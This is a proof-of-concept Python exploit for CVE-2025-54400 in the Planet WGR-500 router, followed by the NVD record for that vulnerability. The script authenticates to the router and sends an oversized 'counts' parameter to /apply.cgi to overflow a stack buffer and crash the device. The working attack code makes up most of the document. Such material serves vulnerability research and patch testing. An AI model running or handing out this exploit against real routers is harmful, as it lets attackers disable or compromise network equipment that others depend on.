CVE-2025-54400

# CVE-2025-54400 PoC - Planet WGR-500 formPingCmd Stack Buffer Overflow # Vulnerability: Stack-based buffer overflow via 'counts' parameter # Target: Planet WGR-500 v1.3411b190912 # The 'counts' parameter is used to compose: "ping -c <counts> <ipaddr> 2>&1 > %s &" import requests from requests.auth import HTTPBasicAuth TARGET_HOST = "http://192.168.1.1" USERNAME = "admin" PASSWORD = "password" # The formPingCmd endpoint path PING_ENDPOINT = "/apply.cgi" # Craft a malicious 'counts' parameter to trigger stack buffer overflow # The buffer overflow occurs when the 'counts' value is concatenated # into the ping command string without proper bounds checking overflow_payload = "A" * 1024 # Exceed the stack buffer size # HTTP request parameters mimicking the legitimate ping functionality params = { "submit_button": "Ping", "action": "", "ping": "ping", "counts": overflow_payload, # Malicious oversized parameter "ipaddr": "127.0.0.1" } # Send the crafted HTTP request to trigger the vulnerability try: session = requests.Session() # Authenticate with the router (low privilege required) session.auth = HTTPBasicAuth(USERNAME, PASSWORD) # Trigger the buffer overflow via formPingCmd response = session.post( TARGET_HOST + PING_ENDPOINT, data=params, timeout=10 ) print(f"[*] Request sent. Status code: {response.status_code}") print("[*] If the router crashes or becomes unresponsive, the overflow was triggered.") except requests.exceptions.RequestException as e: print(f"[!] Request failed (possible crash): {e}") print("[!] The device may have crashed due to the buffer overflow.")

{"cve": {"id": "CVE-2025-54400", "sourceIdentifier": "[email protected]", "published": "2025-10-07T14:15:37.633", "lastModified": "2025-11-03T18:16:59.143", "vulnStatus": "Modified", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "Multiple stack-based buffer overflow vulnerabilities exist in the formPingCmd functionality of Planet WGR-500 v1.3411b190912. A specially crafted series of HTTP requests can lead to stack-based buffer overflow. An attacker can send a series of HTTP requests to trigger these vulnerabilities.This buffer overflow is related to the `counts` request parameter for composing the `\"ping -c <counts> <ipaddr> 2>&1 > %s &\"` string."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:planet:wgr-500_firmware:1.3411b190912:*:*:*:*:*:*:*", "matchCriteriaId": "B2595E4C-3CBF-44C8-B4E4-56498F94899E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:planet:wgr-500:-:*:*:*:*:*:*:*", "matchCriteriaId": "BD4C9C5C-B223-4AED-9210-E0ADA4150E0B"}]}]}], "references": [{"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2025-2226", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2025-2226", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}